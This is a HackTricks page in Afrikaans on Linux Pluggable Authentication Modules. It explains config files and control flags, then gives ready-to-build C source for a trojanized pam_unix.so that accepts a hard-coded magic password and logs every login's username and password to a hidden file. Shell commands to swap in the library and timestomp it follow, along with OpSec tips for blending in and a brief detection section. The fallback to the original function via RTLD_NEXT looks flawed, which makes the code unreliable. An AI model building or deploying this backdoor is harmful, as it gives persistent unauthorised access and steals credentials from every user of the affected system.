PAM - Pluggable Authentication Modules

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

PAM (Pluggable Authentication Modules) dien as 'n sekuriteitsmeganisme wat die identiteit van gebruikers wat probeer om toegang tot rekenaar dienste te verkry, verifieer, en hul toegang beheer op grond van verskeie kriteria. Dit is soortgelyk aan 'n digitale wag, wat verseker dat slegs gemagtigde gebruikers met spesifieke dienste kan omgaan terwyl dit moontlik hul gebruik beperk om stelseloorlaai te voorkom.

Konfigurasie Lêers

  • Solaris en UNIX-gebaseerde stelsels gebruik tipies 'n sentrale konfigurasielêer geleë by /etc/pam.conf.
  • Linux stelsels verkies 'n gidsbenadering, wat diens-spesifieke konfigurasies stoor binne /etc/pam.d. Byvoorbeeld, die konfigurasielêer vir die aanmelddiens is te vind by /etc/pam.d/login.

'n Voorbeeld van 'n PAM-konfigurasie vir die aanmelddiens mag soos volg lyk:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

PAM Bestuur Ranges

Hierdie ranges, of bestuursgroepe, sluit auth, account, password, en session in, elk verantwoordelik vir verskillende aspekte van die outentisering en sessiebestuur proses:

  • Auth: Valideer gebruiker identiteit, dikwels deur vir 'n wagwoord te vra.
  • Account: Hanteer rekeningverifikasie, wat toestande soos groeplidmaatskap of tydsbeperkings nagaan.
  • Password: Bestuur wagwoordopdaterings, insluitend kompleksiteitskontroles of voorkoming van woordeboekaanvalle.
  • Session: Bestuur aksies tydens die begin of einde van 'n diensessie, soos om gidse te monteer of hulpbronlimiete te stel.

PAM Module Beheer

Beheer bepaal die module se reaksie op sukses of mislukking, wat die algehele outentiseringsproses beïnvloed. Hierdie sluit in:

  • Required: Mislukking van 'n vereiste module lei tot uiteindelike mislukking, maar slegs nadat alle daaropvolgende modules nagegaan is.
  • Requisite: Onmiddellike beëindiging van die proses by mislukking.
  • Sufficient: Sukses omseil die res van dieselfde reeks se kontroles tensy 'n daaropvolgende module misluk.
  • Optional: Lei slegs tot mislukking as dit die enigste module in die stapel is.

Voorbeeld Scenario

In 'n opstelling met meerdere auth modules volg die proses 'n strikte volgorde. As die pam_securetty module die aanmeldterminal ongeoorloof vind, word wortel aanmeldings geblokkeer, maar alle modules word steeds verwerk weens sy "required" status. Die pam_env stel omgewing veranderlikes in, wat moontlik help met die gebruikerservaring. Die pam_ldap en pam_unix modules werk saam om die gebruiker te outentiseer, met pam_unix wat probeer om 'n voorheen verskafde wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in outentiseringsmetodes verbeter.

Backdooring PAM – Hooking pam_unix.so

'n Klassieke volhardingstrik in hoëwaarde Linux omgewings is om die legitieme PAM biblioteek met 'n trojaniseerde drop-in te vervang. Omdat elke SSH / konsole aanmelding uiteindelik pam_unix.so:pam_sm_authenticate() aanroep, is 'n paar lyne C genoeg om akrediteer te vang of 'n magic wagwoord omseiling te implementeer.

Kompilasie Cheatsheet

c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;

/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);

/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}

Compile en stealth-vervang:

bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

OpSec Wenke

  1. Atomiese oorskrywing – skryf na 'n tydelike lêer en mv dit in plek om half-geskrewe biblioteke te vermy wat SSH sou vergrendel.
  2. Log lêer plasing soos /usr/bin/.dbus.log meng met legitieme lessenaar artefakte.
  3. Hou simbool uitvoer identies (pam_sm_setcred, ens.) om PAM misgedrag te vermy.

Opsporing

  • Vergelyk MD5/SHA256 van pam_unix.so teen distro pakket.
  • Kontroleer vir wêreld-skryfbare of ongewone eienaarskap onder /lib/security/.
  • auditd reël: -w /lib/security/pam_unix.so -p wa -k pam-backdoor.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks